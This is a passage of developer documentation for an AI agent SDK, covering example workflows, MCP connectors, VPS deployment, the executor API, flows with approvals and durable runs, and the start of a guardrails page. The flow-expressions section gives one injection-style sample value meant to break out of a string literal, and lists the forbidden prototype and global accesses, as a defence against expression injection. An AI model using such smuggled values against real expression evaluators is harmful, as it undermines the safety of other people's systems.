* [Hostinger VPS](/hostinger-vps) walks the deployment the `hostinger-deploy` example automates.
* [Tracing](/observability) lists the spans and attributes the `tracing` example prints.


# coding-agent-workflows
Source: https://lousho.com/examples/coding-agent-workflows

A coding agent driven by deterministic workflows whose routing is a typed decision (the "System One" pattern).

A typed decision answers a structured probabilistic question — classify, route, score, verify — instead of generating text. The Lousho form of that is `createAgent({ output: DECISION })`: the model returns `{ route, confidence, reason }` validated by a zod schema (readable as `result.object`), and the workflow branches on the typed fields.

```text theme={null}
request ──► TRIAGE { route, confidence, reason }   ◄── the typed decision
                │ 'fix'      ∧ confident ──► fix flow:      edit → verify
                │ 'refactor' ∧ confident ──► refactor flow: plan → edit → verify
                │ 'explain'  ∧ confident ──► explain flow:  read-only llmCall
                │ confidence < floor     ──► careful path (refactor), whatever
                                            the route said — calibrated abstention
```

Two properties worth stealing:

* **Calibrated abstention.** `confidenceFloor` (default 0.7) routes low-confidence decisions to the careful workflow — the model declares uncertainty, the harness degrades gracefully instead of trusting a shaky route.
* **Typed degradation.** An unparseable triage reply returns `confidence: 0` → careful path. There is no path where a malformed decision silently becomes "fix things".

Run it:

```bash theme={null}
npm run example:coding-agent-workflows            # offline
OPENROUTER_API_KEY=… npx tsx examples/coding-agent-workflows/index.ts
```

The workflows reuse the [phase-pipeline](/examples/phase-pipeline) shape; the typed decision generalizes to any classify/route/verify step — see [docs/prompting-techniques.md](/prompting-techniques#typed-decisions-system-one-style).


# connectors
Source: https://lousho.com/examples/connectors

Connect an agent to external services (Google Docs, Slack, GitHub, Notion, …) the way Claude's connectors do: over MCP.

```ts theme={null}
const agent = createAgent({
  model: 'openrouter/openai/gpt-4o-mini',
  mcpServers: {
    slack: { url: 'https://mcp.slack.com/mcp', oauth: { redirectUri } },
  },
});
```

This example runs **fully offline** — `./mock-connectors-server.ts` is a real stdio MCP server (written with the SDK's own `serveMcp`) exposing fake `docs_*`/`slack_*` tools. The agent code is identical to what a real connector needs; only the `mcpServers` entry changes.

## Real connectors

| Service | `mcpServers` entry |
| - | - |
| Google Docs/Drive | `{ url: '<google docs MCP endpoint>', oauth: { redirectUri: '<your callback>' } }` |
| Slack | `{ url: 'https://mcp.slack.com/mcp', oauth: { redirectUri } }` |
| GitHub | `{ url: 'https://api.githubcopilot.com/mcp/', headers: { Authorization: 'Bearer <PAT>' } }` or the community stdio server via `command` |
| Notion | `{ url: 'https://mcp.notion.com/mcp', oauth: { redirectUri } }` |
| Any local connector | `{ command: 'npx', args: ['-y', '<their-mcp-server>'] }` |

OAuth is **app-owned**: one operator signs the agent in once per server via `agent.oauth.mcpSignInUrl('slack')`; every run then reuses the grant. See [docs/oauth.md](/oauth) and [docs/connectors.md](/connectors).

## Write safety

`slack_post_message` carries `destructiveHint`/`readOnlyHint` annotations, and the demo sets `approval: 'never'` only so it runs non-interactively. In production keep the default (`'always'`), `'annotations'` for a server you trust, or an `approval` predicate/permission rules so connector *writes* pause for human approval — see [docs/approvals.md](/approvals).

```bash theme={null}
npm run example:connectors            # offline, real MCP stdio round-trip
OPENROUTER_API_KEY=… npx tsx examples/connectors/index.ts
```


# hostinger-deploy
Source: https://lousho.com/examples/hostinger-deploy



Deploy a Lousho agent to a real VPS: `agent/` is an agent directory for a
small ops assistant (`vps-ops`), and `deploy.mjs` builds it with
`lousho build --target=docker`, ships the context over SSH, and runs the
container on a Hostinger virtual machine.

| Piece | What it uses |
| - | - |
| The agent | agent directory (`agent.json` + `instructions.md` + `tools/host.ts`) loaded by the built server |
| The build | `lousho build --target=docker` (bundled `dist/server.js` + `Dockerfile`) |
| VM discovery | Hostinger API `GET /api/vps/v1/virtual-machines` — the same API the `hostinger-vps` MCP server wraps |
| The ship | `tar` + `scp` + `ssh` (needs SSH access to the VM — an attached public key) |
| Durability | `LOUSHO_STORE=sqlite:/data/lousho.db` on a `lousho-data` volume — sessions and approvals survive container restarts |
| Auth | `LOUSHO_API_TOKEN` bearer on every route except `/health` |

## What it deploys

`vps-ops` answers operator questions about the host it runs on: `host_status`
(OS, uptime, load, memory) is live facts, and a small scratchpad
(`write_note`/`read_note`/`list_notes`) persists operator notes — writes ask
for approval, reads are always allowed. The model is
`openrouter/openai/gpt-4o-mini`.

## Run it

```bash theme={null}
export HOSTINGER_API_TOKEN=...   # Hostinger API token (developers.hostinger.com)
export OPENROUTER_API_KEY=...    # the agent's model key
export LOUSHO_API_TOKEN=...      # bearer token protecting the deployed server
node examples/hostinger-deploy/deploy.mjs --vm <id|hostname|ip>
```

The script verifies the VM is running, builds the docker target locally,
copies the context to `/opt/lousho-agent`, builds and (re)starts the
`lousho-agent` container on port 3000, then polls `/health` and sends one
`/chat` round-trip. It only touches the `lousho-agent` container — VM
provisioning, recreates and billing ops are intentionally out of scope (use
the Hostinger API/console for those).

After deploy:

```bash theme={null}
curl -N http://<ip>:3000/chat \
  -H "Authorization: Bearer $LOUSHO_API_TOKEN" -H 'Content-Type: application/json' \
  -d '{"sessionId": "me", "input": "What is the load?"}'
```

Port 3000 is plain HTTP — put Traefik (installed on the VPS template) or
another TLS terminator in front for anything real, per
[the deployment docs](https://github.com/LinuxDevil/agent-sdk/blob/main/docs/deployment.md).


# phase-pipeline
Source: https://lousho.com/examples/phase-pipeline



**Phase engineering** — a deterministic phase pipeline where the model fills each phase but the *order*, the *gate*, and what counts as *done* belong to the harness. The shape behind agentic-workflow repos (phases-oss, leeovery/agentic-workflows):

```text theme={null}
discuss ──► spec ──► plan ──► implement ──► PROOF GATE ──► report ──► done
                               ▲               │
                               └── retry ──────┘ FAIL (bounded by maxRetries)
                                               │ PASS
```

Built entirely on `FlowBuilder` + `FlowExecutor`: each phase is an `llmCall` writing a named variable, the proof gate is a `toolCall` running a real check, and `oneOf` branches on the verdict.

## What this example had to learn about the executor

The runtime node set differs from the editor shapes — worth knowing before writing flows by hand:

* **No `loop` node and no early exit.** `loop` is editor-side; `sequence` runs *every* step, and `return` just resolves a value. The bounded retry ladder here is a chain of `oneOf` nodes, each guarding an implement+check attempt on `!check.startsWith('PASS')`. After a pass, the remaining attempts are no-ops.
* **`{{var}}` prompt interpolation is flat-keyed** (`\w+` — no `{{check.feedback}}`), while `oneOf` conditions use the full expression grammar (`check.startsWith('PASS')`, `check.passed === true`). Keeping the gate verdict a `'PASS: …' / 'FAIL: …'` string serves both surfaces.
* **`return`/`setVariable` take `$var` whole-variable references**, not `{{spec}}` bundles inside object literals — so a final *report* phase composes the deliverable, then `return: '$deliverable'`.

Run it:

```bash theme={null}
npm run example:phase-pipeline    # offline, scripted phases + real node -e check
OPENROUTER_API_KEY=… npx tsx examples/phase-pipeline/index.ts
```

Related: [waves](/examples/waves) adds a verification spine to *parallel* work; this is the sequential phase version. [docs/prompting-techniques.md](/prompting-techniques) maps both in the pattern catalog.


# waves
Source: https://lousho.com/examples/waves



**Waves** — Workers · Aggregate · Verify · Extend — the bounded-parallel pattern from the community "waves" workflows (rayfernando-skills, Wave-Engineering/claudecode-workflow). Unlike a plain task fan-out, the wave owns a *verification spine*: worker outputs are merged deterministically, a verifier judges the aggregate against a typed schema, and a follow-up wave runs **only** on the gaps the verifier names.

```text theme={null}
         ┌────────────────────────── wave ──────────────────────────┐
tasks ──►│  worker(worker-1)   worker(worker-2)   worker(worker-3)  │──► outputs
         │          (bounded parallel, concurrency-sized chunks)    │
         └──────────────────────────────────────────────────────────┘
                              │ aggregate (deterministic merge)
                              ▼
                        verifier: { verdict, gaps[] }
                          │              │
                     'pass' │              │ 'extend'
                          ▼              ▼
                        result    gaps → tasks → next wave
```

## The mapping

| Wave step | Lousho surface |
| - | - |
| Workers | `Promise.all` over `agent.send()` — the harness owns the wave shape; each worker is a fresh `createAgent` so contexts stay clean |
| Aggregate | a plain function — deterministic, so a dropped contribution is a bug, not a silent merge |
| Verify | `createAgent({ output: VERDICT })` — a typed decision: `{ verdict: 'pass'\|'extend', gaps: string[] }` |
| Extend | `verdict.gaps.map(gapToTask)` seeds the next wave's task list |

Run it:

```bash theme={null}
npm run example:waves            # offline, scripted workers + verifier
OPENROUTER_API_KEY=… npx tsx examples/waves/index.ts   # live
```

When to reach for it: breadth-first work where *coverage* is checkable — summarizing a corpus, auditing a codebase, migrating files — and a partial answer is worse than a slow one. When a single orchestrator can hold the whole task, [deep-research](https://github.com/LinuxDevil/agent-sdk/blob/main/examples/deep-research/)'s lead-delegates-subtasks shape is simpler.

See [docs/prompting-techniques.md](/prompting-techniques) for where wave engineering sits in the full pattern catalog.


# The executor API
Source: https://lousho.com/executor-api



`createAgent()` is the recommended entry point (see the [Quick Start](/quickstart)). This page is for code that needs the lower-level options it does not take. To move existing executor code over to `createAgent()`, see [Migrating to createAgent()](/migrating-to-create-agent).

## `AgentBuilder` and `AgentExecutor`

`createAgent()` is a thin wrapper over `AgentBuilder` and the static
`AgentExecutor.execute()`. Use them directly only for what `createAgent()` does not
take: `temperature` and `maxTokens` (`exporter`, `captureContent` and
`redactContent` are `createAgent()` options too). `createAgent()` already takes `maxSteps`,
`limits`, `onEvent`, approvals, `store` (checkpoints), `hooks` and `compaction`. `AgentExecutor` is a static API - there is no
`new AgentExecutor()`.

```ts theme={null}
import {
  AgentBuilder,
  AgentExecutor,
} from '@lousho/build-ai-agent/executor';
import { createMockProvider } from '@lousho/build-ai-agent';

const agent = AgentBuilder.create()
  .setName('Customer Support Agent')
  .setPrompt('You are a helpful customer support assistant.')
  .build();

const events: string[] = [];
const result = await AgentExecutor.execute({
  agent,
  input: 'My order arrived damaged.',
  provider: createMockProvider({ responses: ["I'm sorry to hear that - what's your order number?"] }),
  maxSteps: 5,
  onAgentEvent: (event) => events.push(event.type),
});

console.log(result.text);
console.log(result.usage.totalTokens, result.finishReason, result.steps);
console.log(events); // includes 'run.start' and 'run.done'
```

## Sharing tools with `ToolRegistry`

*Advanced: `ToolRegistry`.* To share tools across agents or register raw
`ToolDescriptor`s, use `registry.register(tool)` for a defined tool or
`registry.register(name, descriptor)` for a descriptor. Pass the registry as
`toolRegistry` to `AgentExecutor.execute()`. See
[Tools](/tools#advanced-toolregistry) for a full example.

## Options of `AgentExecutor.execute()`

`AgentExecutor` is static: call `AgentExecutor.execute(options)`. Only
`agent`, `input` and `provider` are required. Commonly used options:

| Option | Description |
| - | - |
| `agent` | An `AgentConfig`, usually built with `AgentBuilder`. |
| `input` | A user message string, or a `Message[]` conversation. |
| `provider` | The `LLMProvider` to generate with. |
| `toolRegistry` | A `ToolRegistry` holding the tools the agent config refers to. |
| `maxSteps` | Upper bound on LLM/tool steps. |
| `limits` | Token, cost, time and step budgets of the run; see [Budgets](/configuration#budgets). |
| `temperature`, `maxTokens` | Generation parameters. |
| `onAgentEvent` | Listener for the run's `AgentEvent`s (`run.start`, `tool.start`, `run.done`, ...); see [Streaming](/streaming#listening-without-iterating). |
| `streamModelCalls` | With a listener, stream each model call so text arrives as several `text.delta` events (default `true`); `false` generates whole steps, one `text.delta` each. Ignored by `stream()`. |
| `approvalStore`, `sessionId` | Human-in-the-loop approvals (see `resumeAfterApproval()`). |
| `checkpointStore` | Persist/resume execution checkpoints. |
| `exporter` | A `TraceExporter` for tracing spans (OpenTelemetry GenAI conventions, see [observability](/observability)). |
| `captureContent`, `redactContent` | Record message/tool content on `gen_ai.*` span attributes (opt-in) / omit the deprecated content attributes. |
| `onLLMRequest`, `onLLMResponse`, `onToolCall`, `onToolResult` | Observability hooks. |
| `toolSearch` | Tunes [tool search](/tool-search) for tools marked `deferLoading`, or `false` to send every tool on every call. |

It resolves to an `ExecutionResult`: `{ text, reasoning?, messages, toolCalls,
usage, stepUsage?, finishReason, steps, approvalId?, object?, outputError?,
backgroundTasks?, budget?, guardrail?, agentName? }`.


# Flows
Source: https://lousho.com/flows



A flow is a fixed, multi-step workflow run by one agent: the steps and their
order are written down up front instead of being left to the model's judgment.
Describe the graph with `FlowBuilder` and run it with the static
`FlowExecutor.execute(flow, context, onEvent?)`.

```ts theme={null}
import { FlowBuilder, FlowExecutor, type EditorStep } from '@lousho/build-ai-agent/flows';
import { resolveProvider, type AgentConfig } from '@lousho/build-ai-agent';

// A flow calls an LLMProvider directly (reads OPENAI_API_KEY).
const provider = resolveProvider('openai/gpt-4o-mini');
// A plain agent config: `prompt` is every llmCall's system message.
const agent: AgentConfig = { name: 'triage', prompt: 'You are a support triager.' };

// FlowBuilder is a metadata builder: setCode/setName/setInputs/setFlow(...).build().
// EditorStep covers every node type FlowExecutor runs ('sequence', 'llmCall',
// 'oneOf', 'setVariable', ...).
const steps: EditorStep = {
  type: 'sequence',
  steps: [
    { type: 'llmCall', prompt: 'Classify this message as billing, technical or sales: {{message}}', outputVariable: 'category' },
    { type: 'llmCall', prompt: 'Write a one-line reply for a {{category}} request: {{message}}' },
  ],
};

const flow = new FlowBuilder()
  .setCode('triage')
  .setName('Triage')
  .addInput({ name: 'message', type: 'shortText', required: true })
  .setFlow(steps)
  .build();

// FlowExecutor is a static API too: execute(flow, context, onEvent?)
const result = await FlowExecutor.execute(flow, { agent, provider, variables: { message: 'My invoice is wrong' } });
```

An `llmCall` step's model is its own `model`, else the agent's
`settings.model`, else the provider's default (`gpt-4o-mini` above). Either
setting is the provider's bare model id, such as `'gpt-4o'`, handed to
`provider.generate()` as is: not a `'openai/gpt-4o'` spec, which only
`resolveProvider()` and `createAgent({ model })` read. An `llmCall` returns
the reply text; it has no structured-output (schema) option. For a typed
result, parse the text in a later step, or call an agent that has a
structured output as a tool (see [Running an agent in a flow](#running-an-agent-in-a-flow)).

### Template values

A `{{name}}` placeholder in a prompt, a `throw` message or a tool argument
is replaced by the variable's text:

* A string is used as is; a number or boolean is its text (`0` is `'0'`); a
  variable that is not set, or is `null`, is `''`.
* An object whose only field is `text` (an [MCP tool](/mcp-integration) result,
  `{ text }`) is that text, and so is a raw MCP result
  (`{ content: [{ type: 'text', text }] }`, its text parts joined by newlines).
* Any other object or array is its JSON, so a `toolCall` result stored in
  `outputVariable` reads `{"city":"Oslo","temp":4}` in the next prompt, not
  `[object Object]`.
* A dotted path reads into an object or array: `{{weather.city}}`,
  `{{results.0.title}}`. Only own properties are read (`{{res.constructor}}`
  is `''`), and a missing step on the path is `''`.

An `evaluator` step stores its result in `outputVariable` too, like
`llmCall` and `toolCall`.

## Node types

`FlowExecutor` runs these node types:

| `type` | What it does |
| - | - |
| `sequence` | Runs its `steps` one after another. |
| `parallel` | Runs its steps at the same time. If one fails, the others are cancelled (see [Cancelling a flow](#cancelling-a-flow)). |
| `llmCall` | Calls the model with a `prompt` (with `{{variable}}` placeholders; see [Template values](#template-values)); `outputVariable` stores the reply text. |
| `toolCall` | Calls a tool with `arguments` (placeholders interpolated; see [Argument values](#argument-values)). |
| `setVariable` | Sets `variable` to `value`. |
| `oneOf` | Takes the first branch whose condition matches. |
| `forEach` | Runs a step for each item of `items`, one after another. The item and index (`itemVariable`, default `item`; `indexVariable`, default `index`) belong to that iteration only, so loops in `parallel` branches never see each other's item; other variables the step sets are written to the flow's variables. |
| `evaluator` | Evaluates an expression over the flow's variables; `outputVariable` stores the result. |
| `return`, `end` | Produce the node's `value` as the result. |
| `throw` | Fails the flow with the node's `message` (`{{variable}}` placeholders interpolated; default `'Flow error'`). |

`oneOf` conditions and `evaluator` expressions use a small, safe expression
language (no `eval`, no host code; `{{name}}` placeholders are bound as
values, never pasted into the expression). Its grammar and failure rules are
in [Flow expressions](#flow-expressions).

## Tool calls

A `toolCall` step passes the same checks as a tool call in an agent run before
its tool runs:

* Its arguments, after `{{variable}}` interpolation, are validated against the
  tool's input schema. Arguments that do not match fail the step with
  `LOUSHO_TOOL_ARGS_INVALID`, listing each problem, and the tool is not called.
* The flow context's `permissions`, `permissionMode` and `onPermissionDecision`
  apply as they do for `createAgent()` (see [Permission policies](/approvals#permission-policies) and [Permission modes](/permission-modes)).
* A call that needs approval (the tool's `needsApproval`, or an `ask` rule) is
  decided by the context's `approve` callback, which has the same shape as
  `createAgent({ approve })`. `true` (or a note) runs the tool. `false` refuses
  it with `LOUSHO_FLOW_TOOL_DENIED`. When `approve` returns `'defer'`, or there
  is no `approve` callback, a [durable run](#durable-runs) pauses until a person
  decides (see [Pausing for approval](#pausing-for-approval)). A run that is
  not durable refuses the call with `LOUSHO_FLOW_TOOL_DENIED`. The tool is
  never run unapproved.

```ts theme={null}
import { FlowExecutor, type AgentFlow } from '@lousho/build-ai-agent/flows';

declare const flow: AgentFlow;

const result = await FlowExecutor.execute(flow, {
  agent,
  provider,
  toolRegistry,
  variables: { invoiceId: 'inv-1' },
  approve: ({ toolName, args }) => toolName !== 'pay_vendor' || Number(args.amount) < 1000,
});
```

### Argument values

An argument string that is exactly one placeholder, `'{{name}}'` or
`'$name'`, passes the variable's value as it is: a number stays a number, an
object stays an object; `'{{res.count}}'` passes that field's value. So `arguments: { n: '{{n}}' }` with `n = 5` passes
`5` to a tool whose schema is `z.number()`. This also applies inside arrays
and nested objects. Any other string is interpolated as text:
`'n is {{n}}'` becomes `'n is 5'`. A placeholder of a variable that is not
set stays as before: `'{{missing}}'` is `''`, and `'$USD'` (no variable
named `USD`) is the literal string `'$USD'`.

```ts theme={null}
import type { EditorStep } from '@lousho/build-ai-agent/flows';

// With variables { count: 5, tags: ['a', 'b'] }, the tool gets { count: 5, tags: ['a', 'b'], note: 'count: 5' }.
const step: EditorStep = {
  type: 'toolCall',
  tool: 'create_batch',
  arguments: { count: '{{count}}', tags: '$tags', note: 'count: {{count}}' },
};
```

A flow's declared inputs are checked before the first step runs. A missing
`required` input, or a value of the wrong type, fails the flow with
`LOUSHO_VALIDATION_FAILED`.

## Cancelling a flow

Pass `signal` in the context to cancel a run. It is checked before every step:
once it is aborted, no further step starts and the flow fails with the signal's
`reason`. The step that is running gets the signal too: an `llmCall` passes it
to the model request, and a `toolCall` hands it to the tool as `ctx.abortSignal`.

```ts theme={null}
import { FlowExecutor, type AgentFlow } from '@lousho/build-ai-agent/flows';

declare const flow: AgentFlow;

const result = await FlowExecutor.execute(flow, {
  agent,
  provider,
  variables: {},
  signal: AbortSignal.timeout(30_000),
});
```

When a branch of a `parallel` step fails, its sibling branches are cancelled
the same way: they start no further step, and their running `llmCall` or
`toolCall` gets an aborted signal. The flow returns the first branch's error
only once every branch has settled, so no tool runs and no event is added to
`result.events` after the result is returned. A tool that ignores
`ctx.abortSignal` still runs to the end, and the flow waits for it.

`result.usage` sums the model usage (`promptTokens`, `completionTokens`,
`totalTokens`, and `cachedInputTokens`, `reasoningTokens`, `costUsd` when
reported) of every `llmCall` in the run, including a failed one.

A step without an `id` gets one that is unique within the run (`step-1`,
`step-2`, ... in the order the steps start), so `step-start` and
`step-complete` events can be paired by `stepId`.

## Retries and time limits

Any node can have `retry` and `timeoutMs`. That includes `llmCall`,
`toolCall`, `sequence`, `parallel` and `forEach`.

* `retry: { maxAttempts, backoffMs? }` runs a failing node again, up to
  `maxAttempts` attempts in all. It waits `backoffMs * 2^(attempt - 1)` ms
  before each retry (default `0`). Each failed attempt that is retried emits a
  `step-retry` event with `{ attempt, maxAttempts, delayMs }` and the
  attempt's `error`. Only the last failure emits `step-error`. A cancelled run
  (`signal`) is not retried, and neither is a model failure that retrying
  cannot fix (see below).
* `timeoutMs` fails an attempt that runs longer with `LOUSHO_OPERATION_TIMEOUT`
  (a `TimeoutError`). The attempt's model request or tool call gets an aborted
  signal. A timed-out attempt is retried like any other failure. A tool that
  ignores `ctx.abortSignal` keeps running in the background.

An `llmCall` whose model request fails fails with the same
`CompactedLLMProviderError` an agent run rejects with, not the provider SDK's
raw error: `code` is `LOUSHO_PROVIDER_RATE_LIMITED` for a 429 and
`LOUSHO_PROVIDER_REQUEST_FAILED` otherwise, and `compacted` holds
`{ error, category, retryable, statusCode?, providerName? }`. A failure with
`retryable: false` (an `'auth-failure'` such as a 401 or a bad API key, a
`'quota-exceeded'`, a `'context-length-exceeded'`) fails the step at once,
without using its remaining `retry` attempts; a rate limit, a timeout or a 5xx
is retried.

Invalid values (`maxAttempts` \< 1 or not an integer, a negative `backoffMs`,
a `timeoutMs` \<= 0) fail the step with `LOUSHO_FLOW_INVALID`.

```ts theme={null}
import type { EditorStep } from '@lousho/build-ai-agent/flows';

const fetchInvoice: EditorStep = {
  type: 'toolCall',
  tool: 'fetch_invoice',
  arguments: { id: '{{invoiceId}}' },
  outputVariable: 'invoice',
  retry: { maxAttempts: 3, backoffMs: 500 },
  timeoutMs: 10_000,
};
```

A retried container runs its children again. The exception is a durable run
(below): there, children that completed in an earlier attempt are skipped.

## Durable runs

Pass a `checkpointStore` and a `runId` to make a run durable. The run's
variables, the nodes that completed (with their results), the branch each
`oneOf` took and the usage so far are saved under `runId` after every node
that completes, and again when the flow finishes. A new run is also saved
once before its first step (after its inputs are checked), so a run whose
first step fails can be resumed too. Any `CheckpointStore` works,
such as `memoryStore().checkpoints` or a SQLite store (see
[Durable execution](/durable-execution)).

After a crash, or when a step failed, continue the run with
`FlowExecutor.resume(flow, context)`. Pass the same `checkpointStore` and
`runId`. Completed nodes are not run again: each one returns its saved result,
and a `oneOf` takes the branch it took before. Everything else runs as usual,
from the saved variables. `result.usage` and `result.steps` include the
earlier attempts.

```ts theme={null}
import { FlowExecutor, type AgentFlow } from '@lousho/build-ai-agent/flows';
import { memoryStore } from '@lousho/build-ai-agent';

declare const flow: AgentFlow;
const checkpointStore = memoryStore().checkpoints;

const first = await FlowExecutor.execute(flow, { agent, provider, toolRegistry, variables: { orderId: 'o-42' }, checkpointStore, runId: 'order-o-42' });
if (!first.success) {
  // Fix the cause, then continue where it stopped.
  const result = await FlowExecutor.resume(flow, { agent, provider, toolRegistry, checkpointStore, runId: 'order-o-42' });
}
```

* A node is identified by its place in the flow, not its `id`. Resume a run
  with the flow that started it. A resume with a flow of another `code` is
  refused with `LOUSHO_CONFIG_INVALID`. The run also saves its flow's
  structure (each node's type, `id`, tool or agent, and their order); a resume
  with the same `code` whose steps were added, removed or moved is refused with
  `LOUSHO_FLOW_CHANGED`, since the saved results would land on the wrong steps.
  Editing a prompt, condition or other setting keeps the structure. Runs saved
  before this check resume without it.
* Resuming a finished run returns its saved result with no events, and runs
  nothing. `execute()` with the `runId` of a finished run starts a new run.
  `execute()` with the `runId` of an unfinished run is refused with
  `LOUSHO_CONFIG_INVALID`; resume it instead, or use a new `runId`.
* A run with no checkpoint is refused with `LOUSHO_CHECKPOINT_NOT_FOUND`. A
  run whose declared inputs were invalid saved none: call `execute()` again
  with valid inputs.
* Only one call runs a `runId` at a time. While `execute()` or `resume()`
  runs, it holds a run lease on the `runId` in the store, the same lease an
  agent run takes (see [Durable execution](/durable-execution)). Another
  `execute()` or `resume()` of that `runId` is refused with
  `LOUSHO_SESSION_BUSY`, and runs nothing. That holds in this process, in
  another process or replica on the same store, and through another store
  object over the same data. The lease is renewed while a long step runs, and
  released when the call returns. If the process holding it died, the lease
  expires (in 60 s at most), and then the run can be resumed. A custom
  `CheckpointStore` without `acquireLease` runs without leases.
* A node that completed is only skipped once its checkpoint was saved, and
  its `step-complete` event is emitted after that save, so a step reported
  complete is never run again on resume. A node
  interrupted while running (an `llmCall` or a `toolCall`) runs again, so make
  side-effecting tools idempotent.
* Variables and node results must survive `structuredClone`, so no functions
  and no class instances.
* The item and index of a `forEach` iteration are not saved. An interrupted
  iteration runs again with its item. Completed iterations are skipped.

`result.status` is `'completed'`, `'failed'`, or `'awaiting-approval'` (see
below).

### Pausing for approval

In a durable run, a `toolCall` that needs approval pauses the flow when
`approve` returns `'defer'` or there is no `approve` callback. The tool is not
run. The run is saved with status `'awaiting-approval'`, and `execute()` (or
`resume()`) returns:

* `status: 'awaiting-approval'` and `success: false`, with no `error`
* `approvalId`: the id to decide
* `pendingApproval`: `{ approvalId, nodeId, toolName, args }`, the call waiting
  for the decision

A pause is not a failure, so it emits no `step-error` or `flow-error` and is
not retried. If the paused step is in a `parallel` node, its sibling branches
are cancelled. Steps they completed are kept, and the rest run again on resume.

To continue, pass the decision to `resume()`:

```ts theme={null}
import { FlowExecutor, type AgentFlow } from '@lousho/build-ai-agent/flows';
import { memoryStore } from '@lousho/build-ai-agent';

declare const flow: AgentFlow;
const checkpointStore = memoryStore().checkpoints;

const paused = await FlowExecutor.execute(flow, {
  agent, provider, toolRegistry, variables: { amount: '900.00' }, checkpointStore, runId: 'payout-7',
  approve: ({ args }) => (Number(args.amount) < 100 ? true : 'defer'),
});
if (paused.status === 'awaiting-approval') {
  // later, once a person decided (in another process too):
  const result = await FlowExecutor.resume(flow, {
    agent, provider, toolRegistry, checkpointStore, runId: 'payout-7',
    approval: { approvalId: paused.approvalId!, approved: true },
  });
}
```

What each decision does:

* **Approved:** the paused step runs its tool with the saved arguments, and
  `approve` is not asked again.
* **Rejected:** the step fails with `LOUSHO_FLOW_TOOL_DENIED`, like `approve`
  returning `false`.
* **Used once:** after one resume, the run no longer waits for that approval.
  A later resume runs the step again, so it needs a new decision.

These resume calls are refused:

* A resume of a paused run without `approval`: `LOUSHO_SESSION_AWAITING_APPROVAL`.
* A resume with another `approvalId`, or with an approval for a run that is
  not paused: `LOUSHO_APPROVAL_NOT_FOUND`.

Flow approvals are not listed in an agent's approval store. Keep the
`approvalId` (or read `checkpoint.flow.pendingApproval` from the store) to
decide later.

## Running an agent in a flow

A flow's steps run under the plain `agent` config in the context
(`{ name, prompt?, settings }`). Passing a `createAgent()` agent as
`context.agent` is refused with `LOUSHO_CONFIG_INVALID`. To run a
`createAgent()` agent as one step, register a tool that calls
`agent.send()`, and call that tool in a `toolCall` step:

```ts theme={null}
import { z } from 'zod';
import { createAgent } from '@lousho/build-ai-agent';
import { FlowExecutor, type AgentFlow } from '@lousho/build-ai-agent/flows';
import { ToolRegistry } from '@lousho/build-ai-agent/tools';

const researcher = createAgent({ name: 'researcher', model: 'openai/gpt-4o-mini', instructions: 'Answer with three facts.' });

const toolRegistry = new ToolRegistry();
toolRegistry.register('research', {
  displayName: 'Research',
  tool: {
    description: 'Asks the researcher agent a question',
    parameters: z.object({ question: z.string() }),
    execute: async ({ question }: { question: string }) => (await researcher.send(question)).text,
  },
});

const flow: AgentFlow = {
  code: 'report',
  name: 'Report',
  flow: { type: 'toolCall', tool: 'research', arguments: { question: 'What is {{topic}}?' }, outputVariable: 'facts' },
};
const result = await FlowExecutor.execute(flow, { agent: { name: 'report' }, provider, toolRegistry, variables: { topic: 'WebAssembly' } });
```

The agent runs with its own model, tools and approvals. Its usage is in the
`send()` result, not in the flow's `result.usage`. For a single model call
with no tools, an `llmCall` step is simpler.

The `step` node type (`StepNode`, `{ type: 'step', agent, input }`) is a
shape that visual editors produce. `FlowExecutor` does not run it: a flow
that reaches one fails with `LOUSHO_FLOW_INVALID`.

## Flows, sub-agents or skills?

Use a flow when the pipeline is known in advance; use
[sub-agents](/sub-agents) when the model should decide what to delegate,
and [skills](/skills) when the same agent just needs extra instructions for
some tasks. See [Sub-agents, skills or flows?](/sub-agents#sub-agents-skills-or-flows).

Flows are traced like agent runs (see
[Tracing and observability](/observability#flows)).

## Flow expressions

`oneOf` branch conditions (and the Agent Forge router node's branch conditions)
and `evaluator` node expressions are evaluated by a small built-in expression
evaluator. It never compiles or runs host code: there is no `eval`,
`new Function` or `vm` in `src/flows`. `{{name}}` placeholders are bound as
values, never pasted into the expression text: a bare `{{score}} >= 90` uses the
variable's value, and inside a string literal, `'{{classify}}' === 'refund'`
interpolates the value's text into that literal after the expression has been
tokenized. A variable whose value contains quotes, backslashes or operators
(for example `x' === 'x' || 'a`) is therefore just data and cannot change the
condition's logic. A missing or `null` variable is an empty string inside a
literal; used bare it contributes nothing, so `{{missing}} >= 90` is a syntax
error and the condition counts as not matched. The expression is evaluated
against the flow's variables.

| Form | Examples |
| - | - |
| Literals | `'text'`, `"text"`, `42`, `1.5`, `true`, `false`, `null` |
| Variables and paths | `score`, `user.address.city`, `user['first-name']`, `items[0].id` |
| Length | `name.length`, `items.length` (strings and arrays) |
| Comparison | `==`, `===`, `!=`, `!==`, `<`, `<=`, `>`, `>=` |
| Logical | `&&`, `\|\|`, `!` (short-circuiting, return the deciding operand) |
| Arithmetic | `+`, `-`, `*`, `/`, `%`, unary `-` and `+` |
| Grouping | `( ... )` |
| Allow-listed methods | `s.includes(x)`, `s.startsWith(x)`, `s.endsWith(x)` on strings; `list.includes(x)` on arrays (exactly one argument) |

Precedence, loosest to tightest: `||`, `&&`, equality, relational, `+ -`,
`* / %`, unary, member access.

Not supported, and rejected with an `ExpressionError` that names the
expression, the character position and this list of supported forms: any other
function or method call, assignment (`=`, `+=`, `++`), ternaries, template
strings, object/array literals, access to `constructor`, `__proto__` or
`prototype`, and globals (`process`, `require`, `globalThis`, ...). Only a
flow's own variables, and only their own properties, are reachable.

Failure behaviour is unchanged: a `oneOf` condition that cannot be evaluated
counts as not matched (`false`), and an `evaluator` expression that cannot be
evaluated fails the flow with `Failed to evaluate expression: ...`, including
the `ExpressionError` detail.


# Guardrails and sandboxing
Source: https://lousho.com/guardrails



Tools for running agents safely: **input and output guardrails** check what
goes into and comes out of any run (and its tool arguments), **patch
checks** are fail-closed checks over a proposed change before you act on
it, and **sandboxed tools** run inside an isolated container instead of the
host process. For per-call human decisions see [Approvals](/approvals); for
hooks that inspect or veto each tool call see [Hooks](/hooks).

## Input and output guardrails

`createAgent({ guardrails })` (or `ExecuteOptions.guardrails`) checks a run at
three points, each list in order:

| List | Runs on | When |
| - | - | - |
| `input` | Each new user message (the user messages that end the transcript) | Before the first model call. A block makes no model call. A `runInParallel` input guardrail runs while the first model call is in flight instead (see below). |
| `output` | The final assistant text; in a `stream()` run (one you iterate), every step's text. `send()` with a listener checks the final text only. | Before it is emitted: before its `text.done`, and before `run.done`. |
